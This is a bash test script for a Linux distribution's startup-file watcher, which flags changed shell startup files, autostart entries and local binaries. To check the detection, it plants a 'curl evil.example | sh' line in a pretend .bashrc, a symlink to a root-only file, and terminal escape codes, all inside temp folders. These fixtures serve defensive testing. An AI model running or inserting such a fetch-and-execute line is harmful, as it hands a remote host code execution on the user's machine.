wren-linux / tools / test-startup-watch.sh
#!/bin/bash
# Checks the startup watch (bin/wren-watch, parts/startup-watch.sh) in a
# pretend home, with its record and its list of changes in temp folders: what
# it watches and what it doesn't; it follows no link and doesn't hang on a
# pipe; a changed, new or gone file is listed, and the bar shows it; accepting
# some files leaves the others listed, accepting all clears it; wrenctl takes
# what its own run changed, but not a file that had changed before; root's
# timer service is locked down. Nothing outside a temp folder changes.
# Run by test.sh, or: bash tools/test-startup-watch.sh
# shellcheck disable=SC2016 # the inner shells and pretend programs expand their own variables
HERE=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")/.." && pwd)
W=$HERE/bin/wren-watch
T=$(mktemp -d) || { echo " FAIL couldn't make a temp folder (is /tmp full?)"; exit 1; }
trap 'rm -rf "$T"' EXIT
fails=0
check() { # DESCRIPTION CONDITION-COMMAND...
local what=$1
shift
if "$@" >/dev/null 2>&1; then printf ' ok %s\n' "$what"; else printf ' FAIL %s\n' "$what"; fails=$((fails + 1)); fi
}
not() { ! "$@"; }
ME=$(id -un)
H=$T/home
# (WREN_WATCH_HOME: the pretend home, so nothing of this computer's real home is read)
export WREN_WATCH_STATE=$T/state WREN_WATCH_RUN=$T/run WREN_WATCH_HOME=$T/home
# never the real sudo: diff and accept run as you ask it for themselves
export WREN_WATCH_SUDO=false
mkdir -p "$H/.config/sway" "$H/.config/autostart" "$H/.local/bin" "$H/Documents"
echo 'export A=1' >"$H/.bashrc"
echo 'set $mod Mod4' >"$H/.config/sway/config"
printf '[Desktop Entry]\nExec=true\n' >"$H/.config/autostart/a.desktop"
printf '#!/bin/sh\n' >"$H/.local/bin/x"
echo TOPSECRET >"$T/secret"
ln -s "$T/secret" "$H/.local/bin/link"
mkfifo "$H/.config/autostart/pipe"
echo "not watched" >"$H/Documents/notes"
ww() { HOME=$H timeout 20 "$W" "$@" 2>&1; }
out=$(ww manifest)
check "it watches your shell's startup files, sway's config, autostart, ~/.local/bin" bash -c '
for p in .bashrc .config/sway/config .config/autostart/a.desktop .local/bin/x; do grep -qE " $p$" <<<"$1" || { echo "$p"; exit 1; }; done' _ "$out"
check "...not your other files" not grep -q 'Documents' <<<"$out"
check "...a link as a link: what it points to isn't read" bash -c 'grep -qE "^link .* \.local/bin/link$" <<<"$1"' _ "$out"
check "...and a pipe neither hangs it nor is read" grep -qE '^other .* \.config/autostart/pipe$' <<<"$out"
ww accept >/dev/null
check "accept: the record, root's alone (0600), with copies for diff" bash -c '
[ "$(stat -c %a "$1/state/'"$ME"'/manifest")" = 600 ] && [ -f "$1/state/'"$ME"'/copies/.bashrc" ] && ! grep -rqs TOPSECRET "$1/state"' _ "$T"
check "...nothing listed" test ! -e "$T/run/$ME"
check "...and nothing for the bar" test -z "$(WREN_WATCH_RUN=$T/run sh "$HERE/bin/sway-status" --startup)"
check "nothing changed: wren-watch says so" grep -q 'Nothing changed' <<<"$(ww)"
check "it also watches files that run code and were missed: aliases, completion, the terminal's settings" bash -c 'for f in .bash_aliases .bash_completion .config/foot/foot.ini .local/share/bash-completion .config/bash_completion.d; do grep -qF "\"$f\"" "$1" || exit 1; done' _ "$HERE/bin/wren-watch"
echo 'curl evil.example | sh' >>"$H/.bashrc"
printf '[Desktop Entry]\nExec=evil\n' >"$H/.config/autostart/b.desktop"
rm "$H/.local/bin/x"
echo "still not watched" >>"$H/Documents/notes"
ww check-all >/dev/null
check "a changed, a new and a gone file are listed, and nothing else" \
test "$(cat "$T/run/$ME" 2>/dev/null)" = "$(printf '%s\n' .bashrc .config/autostart/b.desktop .local/bin/x)"
check "...the bar shows \"startup changed\"" test "$(sh "$HERE/bin/sway-status" --startup)" = "startup changed"
check "...wren-watch lists them, and says how to look and accept" bash -c 'o=$(HOME=$1 "$2" 2>&1); grep -q "~/.bashrc" <<<"$o" && grep -q "wren-watch accept .*(sudo asks)" <<<"$o"' _ "$H" "$W"
# diff and accept, run as you, ask sudo for themselves: root's copy, by its path
mkdir -p "$T/sudo-fake"
printf '#!/bin/sh\necho "$*" >"%s/sudo-args"\n' "$T" >"$T/sudo-fake/sudo"
chmod +x "$T/sudo-fake/sudo"
check "...diff, run as you, asks sudo for itself, as root's copy by its path" bash -c '
env -u WREN_WATCH_STATE WREN_WATCH_SUDO="$1/sudo" "$2" diff && [ "$(cat "$3")" = "-- /usr/local/bin/wren-watch diff" ]' _ "$T/sudo-fake" "$W" "$T/sudo-args"
check "...and so does accept, with the files named" bash -c '
env -u WREN_WATCH_STATE WREN_WATCH_SUDO="$1/sudo" "$2" accept .bashrc && [ "$(cat "$3")" = "-- /usr/local/bin/wren-watch accept .bashrc" ]' _ "$T/sudo-fake" "$W" "$T/sudo-args"
check "...diff shows what changed in a text file" grep -q '^+curl evil.example | sh$' <<<"$(ww diff)"
check "...and what to do if it wasn't you" bash -c 'o=$(HOME=$1 "$2" 2>&1); grep -q "If it was neither" <<<"$o" && grep -q "When something goes wrong" <<<"$o"' _ "$H" "$HERE/bin/wren-watch"
ww accept .bashrc >/dev/null
check "accepting one file: it goes from the list, the others stay" \
test "$(cat "$T/run/$ME")" = "$(printf '%s\n' .config/autostart/b.desktop .local/bin/x)"
check "...and their diff still shows the old against the new" grep -q 'Exec=evil' <<<"$(ww diff)"
ww accept >/dev/null
check "accepting all: the list is gone" test ! -e "$T/run/$ME"
# changed, then put back before the next look: it stays listed until accepted (a program could
# change it, wait for it to be used, and put it back)
cp "$H/.bashrc" "$T/bashrc.before"
echo "curl evil.example | sh" >>"$H/.bashrc"
ww check-all >/dev/null
cp "$T/bashrc.before" "$H/.bashrc"
ww check-all >/dev/null
check "a file changed and then put back stays listed, until you accept it" grep -qx .bashrc "$T/run/$ME"
# a reboot empties /run (RUN), where the bar's copy is: the list is in root's record too
rm -f "$T/run/$ME"
ww check-all >/dev/null
check "...after a reboot too (the list is kept in root's record, not only in /run)" grep -qx .bashrc "$T/run/$ME"
check "...and diff says it is back as it was, rather than showing nothing" grep -q 'changed since you last accepted, and is back as it was' <<<"$(ww diff)"
ww accept .bashrc >/dev/null
check "...accepting it takes it off, from both copies" bash -c '[ ! -e "$1" ] && [ ! -e "$2" ]' _ "$T/run/$ME" "$T/state/$ME/listed"
check "a path outside your home can't be accepted" not ww accept ../../etc/passwd
check "...and without root (no test folder), accept goes through sudo: here one that says no" bash -c '! env -u WREN_WATCH_STATE -u WREN_WATCH_HOME HOME=$1 "$2" accept 2>/dev/null' _ "$H" "$W"
# wrenctl: what its own run changed is taken; a file that had changed before is not
D=$T/wren
mkdir -p "$D/parts" "$T/fake"
: >"$D/lib.sh"
printf '#!/bin/bash\necho "# added by a Wren Linux part" >>"$HOME/.bashrc"\n' >"$D/parts/demo.sh"
printf '#!/bin/sh\necho "sudo $*" >>"%s/sudo-calls"\nexec "$@"\n' "$T" >"$T/fake/sudo"
chmod +x "$T/fake/sudo"
wc_part() { env HOME="$H" WREN_DIR="$D" WREN_WATCH_CMD="$W" PATH="$T/fake:$PATH" bash "$HERE/bin/wrenctl" part demo 2>&1; }
out=$(wc_part)
check "wrenctl part: what the run changed is taken as Wren Linux's, through sudo" bash -c '
grep -q "sudo .*wren-watch accept .bashrc" "$1" && [ ! -e "$2/run/'"$ME"'" ] && grep -q "taking what this changed" <<<"$3"' _ "$T/sudo-calls" "$T" "$out"
echo 'evil' >>"$H/.bashrc"
ww check-all >/dev/null
: >"$T/sudo-calls"
out=$(wc_part)
check "...a file that had changed before the run isn't taken (that change is for you to see)" bash -c '
! grep -q "accept" "$1" && grep -q "had changed before this run" <<<"$2" && grep -qx .bashrc "$3/run/'"$ME"'"' _ "$T/sudo-calls" "$out" "$T"
# root's timer
X=$HERE/parts/startup-watch.sh
check "root's check: every 15 minutes and at boot; it may write only its record and list, no network" bash -c '
for s in OnUnitActiveSec=15min OnBootSec=1min ProtectSystem=strict ProtectHome=read-only PrivateNetwork=yes NoNewPrivileges=yes "ReadWritePaths=/var/lib/wren-watch /run/wren-watch"; do
grep -qF "$s" "$1" || { echo "$s"; exit 1; }; done' _ "$X"
check "...and accept is never passwordless (no sudoers rule for it)" not grep -qE 'NOPASSWD|sudoers' "$X"
# Run again (update.sh does, whenever wren-watch changes): it took everything as it was, so a
# change listed for you to look at went without a word (the ultra review found it)
check "the extra takes everything as it is only on its first run, with no record yet" python3 -I -c '
import re, sys
s = open(sys.argv[1]).read()
blanket = [m.start() for m in re.finditer(r"sudo \"\$CMD\" accept >/dev/null", s)]
first = s.index("if ! $have_record; then")
assert len(blanket) == 1 and first < blanket[0] < s.index("else", first)' "$X"
check "...run again, it notes what is listed before it installs the new command" python3 -I -c '
import sys
s = open(sys.argv[1]).read()
assert s.index("pending=$(cat \"/run/wren-watch/$me\"") < s.index("sudo install -o root -g root -m 0755 \"$WREN_DIR/bin/wren-watch\" \"$CMD\"")' "$X"
check "...and never takes what was listed: only what the new command lists besides" \
grep -qF 'grep -qxF -- "$f" <<<"$pending" || take+=("$f")' "$X"
check "the bar notifies when a change appears, and a click shows it" bash -c '
grep -q "Your startup files changed" "$1" && grep -q "sudo wren-watch diff" "$1"' _ "$HERE/bin/sway-status"
# Root reads these files (sudo wren-watch diff, accept, its timer), and a program
# running as you can plant anything in them: no link may lead it to a root-only
# file, or the signing key
ww accept >/dev/null
echo ROOTONLY >"$T/rootonly"
ln -s "$T/rootonly" "$H/.local/bin/planted"
ww check-all >/dev/null
out=$(ww diff)
check "diff: a planted link is named, with where it points" grep -qF '.local/bin/planted is a link to' <<<"$out"
check "...and what it points at is never shown" not grep -q ROOTONLY <<<"$out"
rm "$H/.local/bin/planted"
ww accept >/dev/null
printf 'old\n' >"$H/.local/bin/changed"
ww accept >/dev/null
rm "$H/.local/bin/changed"
ww check-all >/dev/null
check "diff: a file that went shows its old lines as removed" grep -q '^-old$' <<<"$(ww diff)"
ww accept >/dev/null
printf 'brand new\n' >"$H/.local/bin/fresh"
ww check-all >/dev/null
check "diff: a new file shows its lines as added" grep -q '^+brand new$' <<<"$(ww diff)"
rm "$H/.local/bin/fresh"
mkfifo "$H/.local/bin/apipe"
ww check-all >/dev/null
check "diff: a pipe planted there doesn't hang it" bash -c 'HOME=$1 timeout 10 "$2" diff >/dev/null 2>&1' _ "$H" "$W"
rm "$H/.local/bin/apipe"
ww accept >/dev/null
# a link further up the path: ~/.ssh pointing at root's
mkdir -p "$T/rootssh"
echo ROOTCONFIG >"$T/rootssh/config"
ln -s "$T/rootssh" "$H/.ssh"
out=$(ww manifest)
check "a link on the way to a watched file: noticed" grep -qE '^linked .* \.ssh/config$' <<<"$out"
check "...nothing behind it is read" not grep -qE '^file .* \.ssh/config$' <<<"$out"
ww accept >/dev/null
check "...nor copied into root's record" test ! -e "$T/state/$ME/copies/.ssh/config"
rm "$H/.ssh"
mkdir -p "$T/otherbin"
echo x >"$T/otherbin/tool"
mv "$H/.config/autostart" "$T/autostart.real"
ln -s "$T/otherbin" "$H/.config/autostart"
out=$(ww manifest)
check "a watched folder that is itself a link: not walked" not grep -q 'autostart/tool' <<<"$out"
rm "$H/.config/autostart"
mv "$T/autostart.real" "$H/.config/autostart"
check "root reads your live files as you, never as root (setpriv; diff gets them on its input)" python3 -I -c '
import re, sys
s = open(sys.argv[1]).read()
assert "[\"setpriv\", \"--reuid=" in s
assert all("live" not in l for l in s.splitlines() if "run([\"diff\"" in l)' "$W"
# The look itself can't be stopped or misled by what a program running as you names its files,
# in the language setting root's timer runs in
loc=$(locale -a 2>/dev/null | grep -im1 '^en_US\.utf-\?8$' || true)
ww accept >/dev/null
echo 'curl evil.example | sh' >>"$H/.bashrc"
touch "$H/.local/bin/$(printf 'odd\377name')" "$H/.local/bin/$(printf 'esc\033]52;c;x\007')"
LC_ALL=${loc:-C.UTF-8} ww check-all >/dev/null
check "a name that isn't UTF-8 doesn't stop the look${loc:+ (in $loc, as the root timer runs)}: the other changes are listed" \
grep -qx .bashrc "$T/run/$ME"
check "...the odd names are listed too, escaped: no control character reaches the bar or wrenctl" bash -c '
grep -q "odd" "$1" && grep -q "esc" "$1" && ! LC_ALL=C grep -q "[[:cntrl:]]" "$1" && ! LC_ALL=C grep -qP "[\x80-\xff]" "$1"' _ "$T/run/$ME"
check "...nor your terminal, from wren-watch or its diff" bash -c '
for c in "" diff; do LC_ALL=${2:-C.UTF-8} HOME=$1 "$3" $c 2>&1 | LC_ALL=C grep -qF "$(printf "\033")" && exit 1; done; exit 0' _ "$H" "$loc" "$W"
printf 'printf "\\033]52;c;eA==\\007"\n\033[2J\n' >>"$H/.bashrc"
LC_ALL=${loc:-C.UTF-8} ww check-all >/dev/null
check "...a changed file's escape codes are shown as ?, not sent to the terminal" bash -c '
o=$(HOME=$1 "$2" diff 2>&1); ! LC_ALL=C grep -qF "$(printf "\033")" <<<"$o" && grep -q "?\[2J" <<<"$o"' _ "$H" "$W"
rm -f "$H/.local/bin/"odd* "$H/.local/bin/"esc*
ww accept >/dev/null
# a folder made very deep on purpose: one entry stands for what is below, and the look ends
(cd "$H/.local/bin" && mkdir -p "$(printf 'd/%.0s' $(seq 80))")
check "a folder tree made very deep doesn't stop it either: what is too deep counts as one entry" bash -c '
o=$(HOME=$1 timeout 20 "$2" manifest) && grep -qE "^deep .* \.local/bin(/d){64}$" <<<"$o"' _ "$H" "$W"
LC_ALL=${loc:-C.UTF-8} ww check-all >/dev/null
check "...and it shows as a change" grep -q '^\.local/bin/d$' "$T/run/$ME"
rm -rf "$H/.local/bin/d"
ww accept >/dev/null
check "every folder is opened from the one above, never through a link (a swap half way leads nowhere)" python3 -I -c '
import sys
s = open(sys.argv[1]).read()
assert "O_NOFOLLOW" in s and "dir_fd=" in s and "os.walk(" not in s and "os.path.islink(" not in s' "$W"
[ "$fails" -eq 0 ]